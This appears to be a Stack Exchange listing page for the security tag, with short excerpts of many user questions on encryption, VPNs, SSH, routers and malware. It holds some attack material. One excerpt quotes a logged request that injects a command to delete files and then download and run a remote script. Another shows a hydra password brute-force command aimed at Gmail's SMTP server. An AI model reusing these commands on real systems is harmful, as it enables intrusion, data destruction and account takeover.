Questions tagged [security]
The protection of computer systems and information from threats such as theft or data destruction.
5,451
questions
-1
votes
1
answer
40
views
Security of an encrypted partition in a flash drive
I have a flash drive that I carry with me everywhere in a keyring for convenient access to personal files on other people's computers. In the past, these flash drives tend to get lost as they break ...
0
votes
1
answer
49
views
Does an Extended Validation (EV) Code Signing Certificate protect the downloader if the installer is compromised
A friend of mine has some software available on his website and the installer for it has been infected with some malware. The infection happened on the hosted server without my friend knowing. ...
0
votes
0
answers
33
views
A stranger's email has ended up as a saved username in my Google Account. How can this happen?
I'm really starting to question google's Password manager. I have two very strange cases here:
(Case 1. In Chrome, my brother found a username and password to a local newspaper in his Google account. ...
-3
votes
0
answers
33
views
Windows Security History - Where did Windows' security holes begin? [closed]
I'm interested in learning more about Windows security, specifically vs. most closed systems like Linux, and it struck me in my research that 'Windows' has been around as the technology around it has ...
-1
votes
0
answers
28
views
I was hacked, are these event viewer logs normal? [duplicate]
Recently been hacked because of a download which Malwarebytes deemed safe when scanned, done a fresh install of windows on C drive, I didn't format my spare HDD and SSD as I moved documents/files onto ...
0
votes
0
answers
11
views
Network Namespaces security issues
So I created a network namespace for running a vpn only for selected applications, let's call it "myvpn".
I understand I need root to set a different namespace, which by default will start ...
1
vote
1
answer
72
views
In the Bitvise Client Software, Host Key Verification window shows public key information not generated by me
The Problem(s):
After hitting the login button, Host Key Verification window shows up with host key info. (Not generated by me. Should this be happening by default.)
For Public Key Authentication, I ...
0
votes
0
answers
39
views
Should one really disable AEAD for recent GnuPG created PGP keys?
Apparently, there are some problems with the new defaults that are set when one creates a PGP key using a recent version of GnuPG (2.4).
I ran into this after generating a new ECC/ED25519 key to ...
0
votes
0
answers
48
views
I can't set security to None on my wifi
I have a TV which is broken in either software or something else, I can't enter keyboard input from the remote controller, yet I can STILL control it. Either way, past that, I need to connect to wifi ...
1
vote
1
answer
2k
views
Why do people discourage using Tor with a VPN?
Why do Tor experts discourage using Tor and a VPN at the same time? Is it because of the network fingerprint, latency, or that there is no point to it?
0
votes
1
answer
69
views
Delete PK key from terminal when secure boot is disabled
When secure boot is disabled, is it possible to delete the PK key from terminal? I know that to change the keys, you need to enter setup mode. And to enter setup mode, you need to delete the PK key. ...
1
vote
1
answer
88
views
How secure is VirtualBox's VM encryption?
I'm using VirtualBox 7 on Windows 11.
How secure is their disk image encryption?
Where is the encryption key stored?
If a third party gets access to the computer when the VM is turned off, what are ...
1
vote
1
answer
68
views
More secure option than DDNS + port forwarding to host website
I wondered if there is a more secure solution for my setup. A small PC at home is hosting a website (on port 8080) while my router is forwarding outside requests from port 80 to internal port 8080 of ...
0
votes
0
answers
70
views
How to get minimal vendor information about the TPM chip installed in my laptop
How do I get some minimal information about the TPM chip in my Linux laptop?
Information such as the manufacturer, manufacturer id, manufacturer version.
So far I have tried the tpm2_getcap command to ...
-1
votes
1
answer
82
views
Will my home router user/admin password be any protection against hackers?
I'm in Australia, I have "Fiber To The Home". This passes through the NBN box on the outside wall, to the NBN modem inside the wall, and thence to my mid-range ASUS AC1900 Dual Band router. ...
8
votes
5
answers
4k
views
Hiding public IP address while using free DynDns?
I currently have a multitude of servers running on my home network. These include a Minecraft server, a Git server, and a Teamspeak server (the last two are running on docker on a Raspberry Pi).
To ...
0
votes
0
answers
10
views
received sms from Google with a code [migrated]
I just received an sms, the phone shows that sender is "Google"
it says:
.Google (some arabic) G-123131231 (some code basically).
Could this be actualy google ?
Why was it sent to me ?
1
vote
0
answers
255
views
Passkeys with Firefox - Touch your security key to continue
I am trying to log in to Github with Firefox. When I try to log in, the web page gives me an option to try with a passkey. When I do that, Firefox displays a dialog box saying "Touch your ...
0
votes
1
answer
67
views
What's the difference between security.debian.org/debian-security and deb.debian.org/debian-security for Debian 12?
Continuing http://unix.stackexchange.com/questions/541569 (which refers to the outdated Debian 10 and is unspecific/unclear in other ways, and the only answer to which is around 4 years old and at ...
0
votes
0
answers
38
views
Limit RDP use with certificate
I need help with RDP in home environment.
I need to access my home computer from my class with RDP and I only want to allow access to remote machines that have a certificate issued by me (yes, I ...
2
votes
1
answer
154
views
Strange GET request to my server: Should I be concerned?
I'm very new to hosting and I get a get request like this:
GET /goform/webRead/open/?path=|rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F(ip adress)%2Fbruh.sh%3B%20chmod%20777%20bruh.sh%3B%...
0
votes
1
answer
38
views
can anyone explain how user keys are verified (post host key/KEX, and not authorized_keys)? issue with ssh user key verify
Nutshell: Looking for a bit of an ELI5 explaining the protocol and/or implementation (openssh) of [post-KEX] user key verification (who does what) without being in code I don't understand or a too-...
0
votes
1
answer
78
views
How to get through restrictions blocking OpenVPN?
I have recently set up a VPN server on my desktop at home in the hopes I can connect to it while at the university from my laptop. I have confirmed that I can connect easily on a mobile data hotspot, ...
0
votes
0
answers
35
views
Share folder structure for projects
I am trying to figure out a way to set up a share drive that will allow a manufacturing shop to restrict access depending whether they work in the office or on the shop floor.
The way they want to do ...
0
votes
0
answers
85
views
Bitdefender detected my router trying to exploit my PC. Should I be worried?
Recently my Bitdefender AV blocked an attempted exploit to my PC via my routers IP address. Should I be concerned? Could it be that my NMAP intense scan caused this?
Bitdefender exploit protection ...
0
votes
0
answers
254
views
Is there a comprehensive list of devices affected by KV botnet malware infections?
According to this January 31, 2024 article in Ars Technica:
Chinese malware removed from SOHO routers after FBI issues covert commands
Routers were being used to conceal attacks on critical ...
0
votes
0
answers
61
views
Linux oathtool-generated TOTP 6-digit code invalid for 2FA SSH login using pam_oath.so
I'm trying to set up TOTP 2FA login into an SSH session on my Ubuntu box.
To this end I have in /etc/users.oath:
HOTP/T30/6 testuser – 8436e373cbdabce46a5d8d019c463a
(I'm generating this value over ...
0
votes
0
answers
83
views
Unknown devices on router WiFi without password knowledge
I am facing a new (to me) situation. My ISP provided me with a Zyxel DX5401-B0 modem/router. Recently, I noticed in the list of connected devices a few ones listed as "unknown", with MAC ...
1
vote
0
answers
82
views
computer randomly forgets settings and folders, sometimes logs out
for some longer time i'm having problem with computer (or even computers as it was happening on two computers) not saving settings. i shutdown every electronics at night so every day is a reboot. and ...
0
votes
1
answer
80
views
Create admin user without permission to change password of other admin
We have two administrators who are responsible for maintaining a machine running Windows 10. Both administrators need to have the ability to install any software on the machine (including software ...
2
votes
0
answers
101
views
Dell and preinstalled McAfee. Uninstalling it is causing Issues with Windows security. Why?
I am using Dell. I have recently reset my PC. After reinstalling Windows 11, it also pre-installed McAfee antivirus, (I'd not consented to this). After uninstalling, I cannot see or make any changes ...
0
votes
0
answers
142
views
Disable Or enable Tamper Protection using start windowsdefender: scheme
I recently read you can enable real time protection by using:
start windowsdefender://enablertp/
I want to enable/disable Tamper Protection from a batch script using the same concept.
I've tried ...
0
votes
0
answers
64
views
Selective TLS connection fail
I have a VB.NET application that connects to a remote server, which I have no authority whatsoever, via a username/password, retrieves some data and populates a local database.
Lately the application ...
0
votes
0
answers
51
views
Should files from an RPM package be installed with root permissions?
Our software is installed via RPM alongside a customizable service user and group. No other users need to run the software besides the service user. I've spent some time searching and can't seem to ...
0
votes
1
answer
71
views
Dangerous vulnerability: pinentry-mac completely and continuously disables prompt for GPG passphrase
The short story:
I just installed pinentry-mac and this asks me my passphrase only once but then decrypt gpg files without asking for passphrase
The long story:
I am running macos and I use gpg and ...
26
votes
1
answer
3k
views
What is a web site doing while displaying "Checking if the site connection is secure"?
Some web pages display something similar to this when opened, with a message like
"Checking if the site connection is secure":
The process usually takes some non-trivial time, sometimes it ...
0
votes
1
answer
51
views
Overcoming client isolation for peer to peer audio streaming application
I am a student developer trying to develop an app that utilizes peer to peer audio streaming with UDP. The app's use case requires it to be used in public settings, specifically places like ...
0
votes
0
answers
37
views
Knockd not executing the knock command
I am trying to setup knock daemon, however it does not seem to execute the knock command. To debug the issue, I used this simple configuration, which is slightly edited example from the documentation:
...
0
votes
1
answer
115
views
Permissions Denied error when trying to run a command via the authorized_key file
I am trying to get a command to run via the authorized_keys file. I have set the perms to 600 for the authorized_keys file, and the .ssh dir to 700.
In the authorized file I have the following:
...
1
vote
1
answer
268
views
How to find last user added in Linux?
We had an attack on some of our Linux servers and we need to find if new users where added to the OS, I checked /etc/passwd and it doesn't seem to be something strange, but it doesn't show when each ...
1
vote
0
answers
75
views
How to show private data in macOS unified log within Xcode
I am getting runtime errors in Xcode involving interface builder. However, the system logger is sanitizing pertinent information contained in the logging.
Unknown class <private> in Interface ...
1
vote
0
answers
100
views
Configure SSH to immediately deny all authentication but still listen
I'm trying to configure an SSH server to only allow access for a specific user from a specific IP address. I've configured that with
PubkeyAuthentication no
PasswordAuthentication no
...
-1
votes
1
answer
363
views
How do I recover the password to a gmail account with hydra? [closed]
hydra -S -l "$email" -P w_file -V -s 465 smtp.gmail.com smtp
Where email is just one one my gmail accounts and w_file is a file with three incorrect passwords and one correct (karina6c in ...
0
votes
1
answer
193
views
Chrome on Linux does not allow to download .deb file
I rather know what am I doing if I want to download .deb file. The problem is how does it work on Chrome. After I click download link, nothing happens. No any message shown, no warning, just no ...
0
votes
0
answers
27
views
Linux screen lock sometimes fails after lid close/open
I have Ubuntu Lunar 23.04 on Lenovo Yoga 7 14''.
When I close the lid, the system goes into suspend, as expected. Then on open, screen lock pops up, with a password prompt.
However sometimes after ...
0
votes
1
answer
258
views
How To SetUP SOCKS5 Proxy Server on Linux based OS
What is the best way to setup SOCKS5 proxy server on *nix?
I have tried a lot of solutions but really not impressed
For instance one GO-based solution just not working, another option is to use ssh ...
0
votes
0
answers
86
views
What disables the 'Startup type' dropdown in the services.msc snap-in, for the gamingservices and gamingservicesnet services?
I've met my share of difficult Microsoft services that don't want to be fiddled with for various reasons, but I can't seem to figure out the gamingservices & gamingservicesnet services. I've added ...
1
vote
2
answers
69
views
Unknown commands hogging all my cpu. " ./4 -c/tmp/ ..."
this is a follow up for this issue
Usually, a few hours after a restart we would get a weidly named process like this
htop output
Turns out it was from out docker postgresql service and the posgres ...
7
votes
2
answers
5k
views
If someone opens a Word document from a USB drive but does not save it to the computer, can I access the file's contents after the drive is removed?
If someone opens a Word document from USB flash drive but does not save it to the computer, can I access the file's contents
after the drive has been removed? If so, how?
I already tried data recovery ...
0
votes
1
answer
101
views
In RSA or Assymetric Encryption, What EXACTLY is the purpose of the Private key? Do both hosts send their private key to each other?
First, let me know if i got anything wrong.
The whole private and public key concept confuses me to no end. From what I know, basically RSA uses both public and private key. Public keys are PUBLICLY ...